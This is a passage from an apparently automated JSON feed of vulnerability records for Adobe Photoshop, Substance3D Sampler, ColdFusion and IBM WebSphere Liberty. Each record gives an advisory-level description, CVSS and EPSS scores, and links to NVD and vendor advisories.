Desktop is affected by a Heap-based Buffer Overflow vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.","detail":"Photoshop Desktop is affected by a Heap-based Buffer Overflow vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T21:19:58.957Z","updatedAt":"2026-10-22T17:51:58.923Z","regions":["Global"],"vendor":"adobe","product":"photoshop","stacks":["Adobe","photoshop"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-95638","asOf":"2026-10-22T17:51:58.923Z"},"epss":{"probability":0.00231,"percentile":0.13796,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-95638&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-95638","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-95638","type":"primary","publishedAt":"2026-10-13T21:19:58.957Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://www.adobe.com/trust/security/products/photoshop/apsb26-158.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-95638&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-95638, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-95637","cveId":"CVE-2026-95637","aliases":[],"kind":"vulnerability","title":"Photoshop Desktop is affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current user.","summary":"Photoshop Desktop is affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.","detail":"Photoshop Desktop is affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T21:19:58.843Z","updatedAt":"2026-10-22T17:52:30.690Z","regions":["Global"],"vendor":"adobe","product":"photoshop","stacks":["Adobe","photoshop"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-95637","asOf":"2026-10-22T17:52:30.690Z"},"epss":{"probability":0.00182,"percentile":0.07752,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-95637&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-95637","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-95637","type":"primary","publishedAt":"2026-10-13T21:19:58.843Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://www.adobe.com/trust/security/products/photoshop/apsb26-158.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-95637&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-95637, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-95636","cveId":"CVE-2026-95636","aliases":[],"kind":"vulnerability","title":"Photoshop Desktop is affected by an Integer Overflow or Wraparound vulnerability that could result in arbitrary code execution in the context of the current user.","summary":"Photoshop Desktop is affected by an Integer Overflow or Wraparound vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.","detail":"Photoshop Desktop is affected by an Integer Overflow or Wraparound vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T21:19:58.720Z","updatedAt":"2026-10-22T17:52:49.673Z","regions":["Global"],"vendor":"adobe","product":"photoshop","stacks":["Adobe","photoshop"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-95636","asOf":"2026-10-22T17:52:49.673Z"},"epss":{"probability":0.00211,"percentile":0.11199,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-95636&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-95636","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-95636","type":"primary","publishedAt":"2026-10-13T21:19:58.720Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://www.adobe.com/trust/security/products/photoshop/apsb26-158.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-95636&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-95636, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-95635","cveId":"CVE-2026-95635","aliases":[],"kind":"vulnerability","title":"Photoshop Desktop is affected by a Double Free vulnerability that could result in arbitrary code execution in the context of the current user.","summary":"Photoshop Desktop is affected by a Double Free vulnerability that could result in arbitrary code execution in the context of the current user. An attacker could exploit this vulnerability to execute arbitrary code. Exploitation of this issue requires user interaction in that a victim must open a malicious file.","detail":"Photoshop Desktop is affected by a Double Free vulnerability that could result in arbitrary code execution in the context of the current user. An attacker could exploit this vulnerability to execute arbitrary code. Exploitation of this issue requires user interaction in that a victim must open a malicious file.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T21:19:58.603Z","updatedAt":"2026-10-22T17:53:01.593Z","regions":["Global"],"vendor":"adobe","product":"photoshop","stacks":["Adobe","photoshop"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-95635","asOf":"2026-10-22T17:53:01.593Z"},"epss":{"probability":0.00209,"percentile":0.10877,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-95635&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-95635","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-95635","type":"primary","publishedAt":"2026-10-13T21:19:58.603Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://www.adobe.com/trust/security/products/photoshop/apsb26-158.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-95635&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-95635, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-93905","cveId":"CVE-2026-93905","aliases":[],"kind":"vulnerability","title":"IBM WebSphere Application Server - Liberty 17.0.0.3 through 26.0.0.10 could allow an unauthenticated remote attacker to corrupt the persisted status of batch job instances.","summary":"IBM WebSphere Application Server - Liberty 17.0.0.3 through 26.0.0.10 could allow an unauthenticated remote attacker to corrupt the persisted status of batch job instances.","detail":"IBM WebSphere Application Server - Liberty 17.0.0.3 through 26.0.0.10 could allow an unauthenticated remote attacker to corrupt the persisted status of batch job instances.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T21:19:57.863Z","updatedAt":"2026-10-22T18:55:42.930Z","regions":["Global"],"vendor":"ibm","product":"websphere application server","stacks":["IBM","websphere application server"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.2,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-93905","asOf":"2026-10-22T18:55:42.930Z"},"epss":{"probability":0.00331,"percentile":0.26069,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-93905&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-93905","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-93905","type":"primary","publishedAt":"2026-10-13T21:19:57.863Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://www.ibm.com/support/pages/node/7292232","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-93905&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-93905, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-83966","cveId":"CVE-2026-83966","aliases":[],"kind":"vulnerability","title":"Substance3D - Sampler is affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current user.","summary":"Substance3D - Sampler is affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.","detail":"Substance3D - Sampler is affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T21:19:09.400Z","updatedAt":"2026-10-20T00:13:14.240Z","regions":["Global"],"vendor":"adobe","product":"substance 3d sampler","stacks":["Adobe","substance 3d sampler"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-83966","asOf":"2026-10-20T00:13:14.240Z"},"epss":{"probability":0.00182,"percentile":0.07753,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-83966&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-83966","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-83966","type":"primary","publishedAt":"2026-10-13T21:19:09.400Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://www.adobe.com/trust/security/products/substance3d-sampler/apsb26-159.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-83966&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-83966, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-83965","cveId":"CVE-2026-83965","aliases":[],"kind":"vulnerability","title":"Substance3D - Sampler is affected by a Stack-based Buffer Overflow vulnerability that could result in arbitrary code execution in the context of the current user.","summary":"Substance3D - Sampler is affected by a Stack-based Buffer Overflow vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.","detail":"Substance3D - Sampler is affected by a Stack-based Buffer Overflow vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T21:19:09.290Z","updatedAt":"2026-10-20T00:13:00.603Z","regions":["Global"],"vendor":"adobe","product":"substance 3d sampler","stacks":["Adobe","substance 3d sampler"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-83965","asOf":"2026-10-20T00:13:00.603Z"},"epss":{"probability":0.00231,"percentile":0.13796,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-83965&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-83965","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-83965","type":"primary","publishedAt":"2026-10-13T21:19:09.290Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://www.adobe.com/trust/security/products/substance3d-sampler/apsb26-159.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-83965&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-83965, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-83661","cveId":"CVE-2026-83661","aliases":[],"kind":"vulnerability","title":"Photoshop Desktop is affected by an Integer Overflow or Wraparound vulnerability that could result in arbitrary code execution in the context of the current user.","summary":"Photoshop Desktop is affected by an Integer Overflow or Wraparound vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.","detail":"Photoshop Desktop is affected by an Integer Overflow or Wraparound vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T21:18:32.667Z","updatedAt":"2026-10-22T18:57:08.557Z","regions":["Global"],"vendor":"adobe","product":"photoshop","stacks":["Adobe","photoshop"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-83661","asOf":"2026-10-22T18:57:08.557Z"},"epss":{"probability":0.00211,"percentile":0.11199,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-83661&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-83661","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-83661","type":"primary","publishedAt":"2026-10-13T21:18:32.667Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://www.adobe.com/trust/security/products/photoshop/apsb26-158.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-83661&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-83661, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-76001","cveId":"CVE-2026-76001","aliases":[],"kind":"vulnerability","title":"ColdFusion is affected by a Server-Side Request Forgery (SSRF) vulnerability that could result in privilege escalation.","summary":"ColdFusion is affected by a Server-Side Request Forgery (SSRF) vulnerability that could result in privilege escalation. A low-privileged attacker could exploit this vulnerability to gain elevated access to internal resources. Exploit depends on conditions beyond the attacker's control. Exploitation of this issue does not require user interaction. Scope is changed.","detail":"ColdFusion is affected by a Server-Side Request Forgery (SSRF) vulnerability that could result in privilege escalation. A low-privileged attacker could exploit this vulnerability to gain elevated access to internal resources. Exploit depends on conditions beyond the attacker's control. Exploitation of this issue does not require user interaction. Scope is changed.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T21:18:20.730Z","updatedAt":"2026-10-20T18:19:19.807Z","regions":["Global"],"vendor":"adobe","product":"coldfusion","stacks":["Adobe","coldfusion"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:L/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-76001","asOf":"2026-10-20T18:19:19.807Z"},"epss":{"probability":0.00496,"percentile":0.42288,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-76001&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-76001","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-76001","type":"primary","publishedAt":"2026-10-13T21:18:20.730Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://www.adobe.com/trust/security/products/coldfusion/apsb26-144.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-76001&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-76001, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-75996","cveId":"CVE-2026-75996","aliases":[],"kind":"vulnerability","title":"ColdFusion is affected by an Uncontrolled Resource Consumption vulnerability that could lead to application denial-of-service.","summary":"ColdFusion is affected by an Uncontrolled Resource Consumption vulnerability that could lead to application denial-of-service. An attacker could exploit this vulnerability to exhaust system resources, resulting in an application denial-of-service condition. Exploitation of this issue does not require user interaction.","detail":"ColdFusion is affected by an Uncontrolled Resource Consumption vulnerability that could lead to application denial-of-service. An attacker could exploit this vulnerability to exhaust system resources, resulting in an application denial-of-service condition. Exploitation of this issue does not require user interaction.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T21:18:20.620Z","updatedAt":"2026-10-20T19:32:49.730Z","regions":["Global"],"vendor":"adobe","product":"coldfusion","stacks":["Adobe","coldfusion"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-75996","asOf":"2026-10-20T19:32:49.730Z"},"epss":{"probability":0.00555,"percentile":0.46065,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-75996&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-75996","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-75996","type":"primary","publishedAt":"2026-10-13T21:18:20.620Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://www.adobe.com/trust/security/products/coldfusion/apsb26-144.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-75996&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-75996, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-75995","cveId":"CVE-2026-75995","aliases":[],"kind":"vulnerability","title":"ColdFusion is affected by an Improper Input Validation vulnerability that could result in arbitrary code execution in the context of the current user.","summary":"ColdFusion is affected by an Improper Input Validation vulnerability that could result in arbitrary code execution in the context of the current user. An attacker with high privileges could exploit this vulnerability to execute arbitrary code. The vulnerable component is restricted to an administrative network zone by default. Exploitation of this issue does not require user interaction. Scope is changed.","detail":"ColdFusion is affected by an Improper Input Validation vulnerability that could result in arbitrary code execution in the context of the current user. An attacker with high privileges could exploit this vulnerability to execute arbitrary code. The vulnerable component is restricted to an administrative network zone by default. Exploitation of this issue does not require user interaction. Scope is changed.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T21:18:20.500Z","updatedAt":"2026-10-20T18:57:46.097Z","regions":["Global"],"vendor":"adobe","product":"coldfusion","stacks":["Adobe","coldfusion"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.4,"version":"3.1","vector":"CVSS:3.1/AV:A/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-75995","asOf":"2026-10-20T18:57:46.097Z"},"epss":{"probability":0.00242,"percentile":0.15173,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-75995&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-75995","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-75995","type":"primary","publishedAt":"2026-10-13T21:18:20.500Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://www.adobe.com/trust/security/products/coldfusion/apsb26-144.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 